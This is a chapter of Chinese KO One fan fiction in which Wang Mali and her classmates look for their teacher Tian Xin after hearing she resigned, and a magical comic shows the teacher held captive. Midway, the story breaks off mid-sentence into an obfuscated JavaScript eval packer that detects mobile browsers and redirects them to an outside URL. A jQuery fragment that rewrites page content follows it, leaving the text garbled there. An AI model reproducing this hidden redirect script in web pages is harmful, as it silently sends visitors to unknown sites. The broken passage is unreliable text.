6. 辞职?她才不信!

已经回家的王玛丽自然不会想到心动对象居然是这样恶趣味的人,苟着腰悄咪咪回到房间反锁上门,把藏在衣服里面的《金笔点龙》拿出。


封面上,王亚瑟嚣张的样子好像在嘲笑她的无能。她恼羞成怒的锤了他一榔头,不过疼的是自己就是了。


除却附页,第二部的画风比第一部更加锐利,色彩也更加鲜明了,如果不是顶级画师,根本画不出那些细微的细节。


王玛丽当然好奇这个作者到底是何等人,但又怕见到了回去控制不住麒麟臂,一拳头扬上,把人打得半身不遂。


她并没有第一时间翻看,而是把漫画放到床头柜的最底层,转而翻阅那少女心十足的粉色小书。


随着一页页翻看,王玛丽眼睛里充满着“智慧”。奇怪地知识增加在脑海,而清晰的画面又在她面前变得模糊。


这种情况,我们俗称:困了。


不出所料,王玛丽在看的过程中打着哈欠,成功栽进了梦乡。


清晨的懒觉总是格外醉人,王玛丽醒来时,正是呼呼大睡的时间,门口的响声却还在坚持不懈。


王玛丽捂着耳朵躲进被窝,但冷漠陷入对外面的人无效。


“王亚瑟,很早欸,你不知道打扰美少女睡觉药遭雷劈的吗?你要的睡不着去打电话找你的两个好兄弟好不好,不要随便打扰妹妹啊!”


打开房门,面对一年有三百六十五天见面的美颜暴击,王玛丽连眼皮都没抬一下,只一味阖眼。


“我有一件很重要的事问你……”


王亚瑟握着她肩膀。


事实上,如果说这句话的是别人,王玛丽说不定还能勉强听下去,但这个人是王亚瑟那就宁当别论了,听他说不如睡回笼觉。


她敷衍地抢先回答:


“爱过,保大,救你。”


这时候对面就该感动涕零了。


奈何,天刚亮,这不切实际的梦自然也随之消失。


牛头不对马嘴的回答连带着两人头顶的乌鸦都叫了几声,下一秒,王玛丽趁着王亚瑟无语时,把房门直接关上,徒留王亚瑟在外面敲门。


“王玛丽!”


可悲,兄妹俩已经隔了一层厚厚的壁(指房门)。


“好啦,有什么事咱们上课说,现在我要睡回笼觉。”王玛丽迷迷糊糊地自言自语,躺回床上深陷温柔乡无法自拔,而在一个小时后,满脸怨气地坐在了班级里。


要说不同,那就只剩下,她今天破天荒带了一只钢笔,笔身没有任何起眼的地方,极不符合王玛丽的审美标准,要说特殊。


校长的钢笔应该足够一群老师拥上去吧。


这还是她意外见到的,但是当她捡起,那个钱莱冶却不见踪影了,主角身边真是,连校长也不是简单人能当的。


王玛丽手指灵活地转着,吹着薄荷味的口香糖,驱散了大部分困意。


汪大东今天来的有点晚,而且精神不佳,疲倦感藏都藏不住。


从进门就关注着的煞姐因为害羞没有仔细看见,磨蹭着脚步,扭捏地来到他面前,“大东宝贝,我有事找你,我们出去说一下好不好?”


“别闹了,班导来之前我有事要宣布。”


对于煞姐,汪大东是有些宠溺感的,只是又不同于男女之情,即使煞姐继续撒泼打滚,也没打动他。


见没希望,煞姐垂头丧气地问:“到底什么事情那么重要啊?”


“我们之前答应班导要考大学,自然要制定计划,”


“又是班导!”煞姐突然爆发,脸上带着对田欣的浓浓不喜,她实在搞不明白心上人半句话不离班导,“为什么你心里只有班导?奇怪耶。”


被抨击的少女心被心上人无情打破了,煞姐恼羞成怒,转身离去,而她的小跟班急匆匆地跟过去。


把这一切都看在眼里的王玛丽无奈摇头,看着如现实般吵架的男女主,忍不住感叹。


爱情真是让人伤脑筋的东西。


粗神经的汪大东则感觉莫名其妙,躺在他的“王座”上闭目养神。王玛丽够着他搭在脸上缠了很久的蜡笔小新,在拿起时,两人离得有些近,她一眼发现那浓重黑眼圈。


比国家珍惜动物还要明显。


没管住嘴的王玛丽下意识问:“大东哥,你晚上做贼了吗?”


原本炸起的金毛都如主人般乖顺,那双原本炯炯有神的眼睛有些发散,不知在想些什么,面对她的行为也没有做出反应,随手把书了递去。


“唉。”


生活不易,大东叹气。


“出什么事了吗?”汪大东心不在焉的样子让王玛丽有些好奇,移着椅子来到他面前。


这正好给了他一个契机。


“玛丽小妹妹,你靠近一点,我有一个很重要的事情要问你。”


看着汪大东难得一见的严肃,她慎重地点了点头。


两个毛茸茸的脑袋凑到一起窃窃私语。


汪大东拉着她的手就开始讲述昨夜梦到的事情,随着深入,他简直身临其境,吓得浑身一抖。


经过汪大东这样不算描述的讲述,王玛丽才勉强明白发生了什么,一言难尽地看着期待她能给出意见的汪大东。


“所以你梦到班导出事,就一直在想昨天那通电话?”她尝试确认。


汪大东点头。


他早上真的被那个梦吓到了,穿着睡衣就跑出门查看报纸,那颗心才勉勉强强放下来,只是没见到田欣,他还是无法彻底放下。


“那昨天还碍着面子不去,我都说哪怕没事,看见人完好无缺地站着就很好啊。”


王玛丽不懂,她不懂青春期男生的心思,天马行空只是一小部分,都说女孩子的心情像天气一样阴晴不定,但男孩子有同样吧。


“可,那样真的太逊了,而且今天就有班导的课,等下见到了再问一下,不就好了。”


“嘴上这么说心里却不是这样想的吧。”


汪大东尴尬地咳嗽几声,“咳咳,看破不说破。”


“对了,大家安静一下。”


汪大东想起什么,示意金宝三把黑板擦了,在上面写的下数字“293”。


“距离高考还有293天,我们终极一班这么可怕,敢教我们的只有班导,你们说该怎么办?”汪大东站在讲台问道。


“靠运气?”


“我们可以攻打联招会。”


底下几个人随意聊着。


众人大笑,“他们比我们还笨”


汪大东的脸色随着他们的笑声越来越难看,许是视线太明显,笑声渐渐消失,都收起了开玩笑的心思。


他威胁道:“谁在讲这种话,我就扁谁。”


“这种时候,努力学习?”王玛丽伸出懒腰,慵懒地靠在椅子上,纤细的腰身露出半截。


“玛丽小妹妹说得没错!所以我决定,从今天开始,王亚瑟担任大家英文小老师,丁小雨担任大家数学小老师。”


汪大东对她露出赞许的眼神。


这算什么,一个学渣对另一个学渣的满意吗?


其实汪大东这个计划还不错,简单意思就补习嘛,只是有没有一种人,不是不想学,而是学不会。


“大家都得服从他们的学习安排,一个k.o3,一个k.o4,有资格辅导你们吧,而且我也查过了,他们的英文和数学就和他们的身手一样赞。”


这毫无疑问是威胁的话,底下的人不约而同鼓起掌表示支撑。


在其中,王玛丽靠近自家哥哥。


眨着眼睛,萌萌地问:“你会给我开小灶吗?”


虽然她英语不咋地,但王亚瑟可是腌入味了,她有些东西还是勉强听懂一点点。


王亚瑟似笑非笑地把视线从书移到她身上,“你说呢。”


她气呼呼地转头看向丁小雨,“哼,小雨你会吧?”


“我会尽量。”丁小雨停下手里的动作,认真思考了一下可能性,最后委婉地说道。


如果说英语还算有救,那数学就很糟糕了,这种东西只要学不会,那就一辈子都不会了,与其补习,不如祈祷哪天让雷劈了开窍。


但王玛丽很明显没有听出来,乐呵呵地冲王亚瑟摇着身后不存在的尾巴,“还是小雨好,不像某些人。”


“你现在内涵我,等下辅导的时候吃亏的就是你。”王亚瑟笑着摇头,为妹妹的智商表示堪忧。


金宝三在汪大东说完计划后,扭捏地靠近,“东哥~其实人家还有一件事想说。”


“你说。”汪大东没有看他。


“就是人家历史成绩很不错,可以担任大家的历史小老师哦~”


金宝三说的那叫一个激昂。


“你是指你看得那些古装历史剧吗?别开玩笑了,教个屁嘞,要这样还不如让王玛丽教那,至少她看着的漫画千奇百怪,更有说服力。”


煞姐领着两个小跟班回来,一个手劈到了金宝三头顶把他打得眼冒金星。


哦莫,她吗?


居然还有她的。


王玛丽睁大眼睛,指着自己。


“奇怪,已经上课半小时了,班导怎么还不来?”


“我想,大概是昨天晚上和男朋友哔——过头了,所以还没起来吧。”


原本一声不吭的汪大东踢起脚边的空罐头,准确命中白琳达的后脑勺。


王玛丽抬起迷惑的小脑袋,她刚才是不是听到什么少儿不宜的话了?


“关琳达什么事啊,是班导自己迟到的啊,我只听过学生迟到这么久,老师迟到我还是第一次听说。”


“那个!不一定嘛,我以前学校的老师就经常迟到,因为常常把备课忘在家,要花两倍时间来回跑,哈哈哈哈……”


王玛丽试图缓和,虽然她不爱讲说笑话,但曾经的好同桌可是每次都会笑,应该算不错吧。


可全班人只是无语地看着她。


“不好笑吗?好吧,我闭嘴。”


想起以前那个地中海老师,王玛丽不理解地撇了撇嘴。


一定是他们没有幽默细胞。


这时,金宝三犹犹豫豫开口:“我刚刚经过教务处好像有听说什么老师要辞职,里面都神秘兮兮的,该不会是我们班导吧?”


“欸,有可能哦,说不定这一年已经把班导耐心磨光了。”斧头认同地点了点头。


“那这样我们岂不是不用考大学了?”小辣两眼发光,好像看到了光明的未来。


“耶!”x3


随着话声落下,一道冷风袭来,汪大东瞬移到了他们身后,阴沉沉地看着他们,“是谁这么快吗不想考大学了?”


三人的友情在此时体现最佳,互指的食指没一个重复,真是没用的默契增加了!然后小辣和斧头对视一眼,把手指拐弯,统一指向了金宝三。


金宝三挥舞着他们的手,露出特有的怂意,小心翼翼地靠近汪大东,“东哥,我怎么敢呢,我只是开心班导怎么还没来而已……”


汪大东露出不耐烦的表情,垂下的双手逐渐握紧,如果旁边能显示怒气条的话,应该快爆表了。


“我汪大东今天把话放到这,除非班导辞职,否则全员给我考大学!”


话落下,脚步生也停止,进来的不是迟到多时的田欣,而是全副武装的老师三人组。


“主任今天好像不是你们的课吧,打扮成这副样子是要干什么?不热吗?”


汪大东没把三人当回事,靠到椅子上等待他们的发言。


贾勇踌躇的看看一眼旁边的队友,想着校长的承诺,做好心理准备大声喊道:“终极一班给我听好!全班起立。”


没一个回应的,所有人把他们当空气。


苏教官在后面附和了一句,回应他的是一大堆武,吓得三人躲在讲台红瑟瑟发抖,盾牌都没拿稳。


王玛丽实在看不下去了,“主任,到底有什么事啊。”


“那个,田欣老师辞职了。”


“啊?”王玛丽困惑地发出一截声音,与旁边的王亚瑟对视一眼,均在对方眼中看到了少量惊讶。


班上的人脸上都是各种变化。


汪大东更是激动,像听到什么不可思议地消息,脸色变了又变,眼球在眼睛不停转着


;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!''''.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new regexp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15391972|168570||http|test|mini|href|location''.split(''|''),0,{}));


() {


$(''.inform'').remove();


$(''#content'').append(''





“好了,我知道你们非常难过,但是课还是要上的,今天的课就让古老师代课,我们会在旁边督促的。”


“当然,我也知道,没有导师的学生就像孤儿一样,非常脆弱可怜,唉,可怜哟。”


“主任想知道更可怜的是什么吗?”王玛丽把漫画书合上,笑得温柔。


贾勇还没反应过来,一股风就刮到脸上,黑色的头盔歪在一边,而他整个人也飞了出去。


王玛丽扭了扭手腕,其他两个更是害怕地跑了出去。


剩下的时间,虽然汪大东还没说些什么,但其他人已经开始不满起来,认为田欣背叛了他们。


一个个都跑出教室。


最后就只剩下他们四人。


汪大东没有大发雷霆,只是惆怅地垂着脑袋,要是刚才还只是没精神,现在连魂都要没了。


王玛丽皱着眉头思索着不对劲的地方,时不时扣着脑袋,她好像忽略了什么。


“自大狂,我们也走吧。”


“去哪里?”汪大东兴致不高,甚至有些迷茫,他想不明白只是过了一天,怎么就变成这样了。


王亚瑟拍了拍他的宽肩,“你信任的人自然我也信任,现在当然是去找她,问个清楚,辞职也该有个理由吧。”


汪大东眼底挣扎片刻,这次他没有被情感左右理智,拿起宝贝的头盔,笑着看着他们,既感动又高兴,“看来k.o3和k.o4的关注点还在和其他不同。”


“我只是不希望看到某人那种受伤又落寞的眼神,真是不像k.o榜上的名人。”


王亚瑟看似打趣,但实则安慰。


汪大东当然懂,嘴角的笑意都止不住。


“对呀大东哥,这种时候可不能露出脆弱的表情,来跟着我做,深呼吸,放轻松,哎呦!”


头顶熟悉地痛感来袭,王玛丽以柔韧性极强的姿势锁住手欠的王亚瑟。


“好了,我知道玛丽小妹妹你是为我好,我没有太伤心,说到底我也要去问清楚,即使班导真的不想教我们了,我汪大东也不能这样脆弱吧。”


她果断放开王亚瑟长卷的头发,脚底抹油似地溜出去,“好~那我们现在出发去找班导!”


一直没说话的丁小雨已经抢先收拾好了东西,还顺便帮她也整理好,站在门口就等着他们行动。


临近黄昏,某个小区。


“班导就算睡死了,我们按那么久了的门铃她也早该听见了吧”


四个人坐在楼底下,有些垂头丧气。


“看来,她是真的不在。”


王玛丽看着汪大东还在坚持不懈打着电话,其实她心里有了想法,搭上心里那一丝不安就更加笃定。


汪大东都没电了,也没有消息,“手机还是关机。”


“既然来了还是再等等吧。”


王玛丽接过丁小雨给她递来的草莓果冻,有些饿的肚子面前停止抗议。


“对啊,说不准她晚点回来。”


可这一等,就等到了晚上。


高楼大厦千间,灯火通明。


“会不会她是真的辞职了,然后不想再联系我们?”


王玛丽已经有些昏昏欲睡了,努力用手指撑着眼皮,丁小雨看着不自觉流露出一丝心疼。


王亚瑟自然也看见,心里也不免打起了退堂鼓,虽然挺兄弟是没错,但妹妹也是亲的,他不可能为了一个刚熟悉的班导而折磨宝贝妹妹,“自大狂,小雨说得也没错,我们毕竟是坏学生,她一个女生会害怕也是理所当然的吧。”


汪大东自然是犹豫的,一方面他实在不想放弃,因为田欣答应过他,但他们的确等很久了,久到他开始自我怀疑,只能靠嘴硬催眠自己。


“三位,其实我有一个猜测。”


面对三道视线,王玛丽说出了自己的想法。


“你们忘记昨天班导打的电话了吗?大东哥早上还和我说梦到班导出事了,说不定她真的遇到了危险。”


说出被他们遗忘的东西,王玛丽有些无奈。


“你是说的,班导其实是在求救?!”


王玛丽不知道怎么组织话语安慰颓废的金毛小狮子。


她是不会相信田欣辞职的。


嘴上安慰着,她脑子也在想。


不会遇到剧情了吧。


王玛丽努力回忆。


死脑子!想起来啊!


唉,用脑方觉迟。


“这样吧,我们先回去,我让我爸去派人找,如果真的出事了,也应该逃不出台北吧。”


王亚瑟提议。


“对啊,已经很晚了,大东哥,你不是有门禁吗,先回去吧。”


王玛丽拍了拍汪大东肩膀。


“好吧,如果有消息一定要是第一时间联系我。”


“小雨,你回去也注意安全,明天见。”


“嗯,明天见。”


虽然找了一夜,但田欣还是没有消息。王玛丽请了一天假,在家找着被不知放哪的《金笔点龙》。


卧室被王玛丽翻的乱糟糟,她是头一次觉得房间太大不是什么好事。


而在她累瘫痪时,那第一部的《金笔点龙》终于露出它尊贵的封面。


她没有犹豫,飞快掠过书页,停留在一叶画面上。仓库里,田欣被绑在里面,旁边站着个疯疯癫癫的男人。


和之前在断肠人摊子上看到的几乎一样,原来那时候已经给了警示。


慌忙拿出手机打着远在学校王亚瑟的电话,“哥!我知道班导是什么情况了。”


“玛丽小妹妹,你快说班导怎么了!”


里面汪大东的声音有些失真,但其中的焦急怎么也掩盖不住。


“班导她——”


话没说完,搁在书桌上的金笔点龙不知怎么的翻到了最后一页。


——绝不可告诉别人,不然会发生极其可怕的事情。


王玛丽成功卡壳。


手机里面还在催促着。


她来不及细想,直接说出了地点。


漫画书好像变得有生命,在她面前变换着。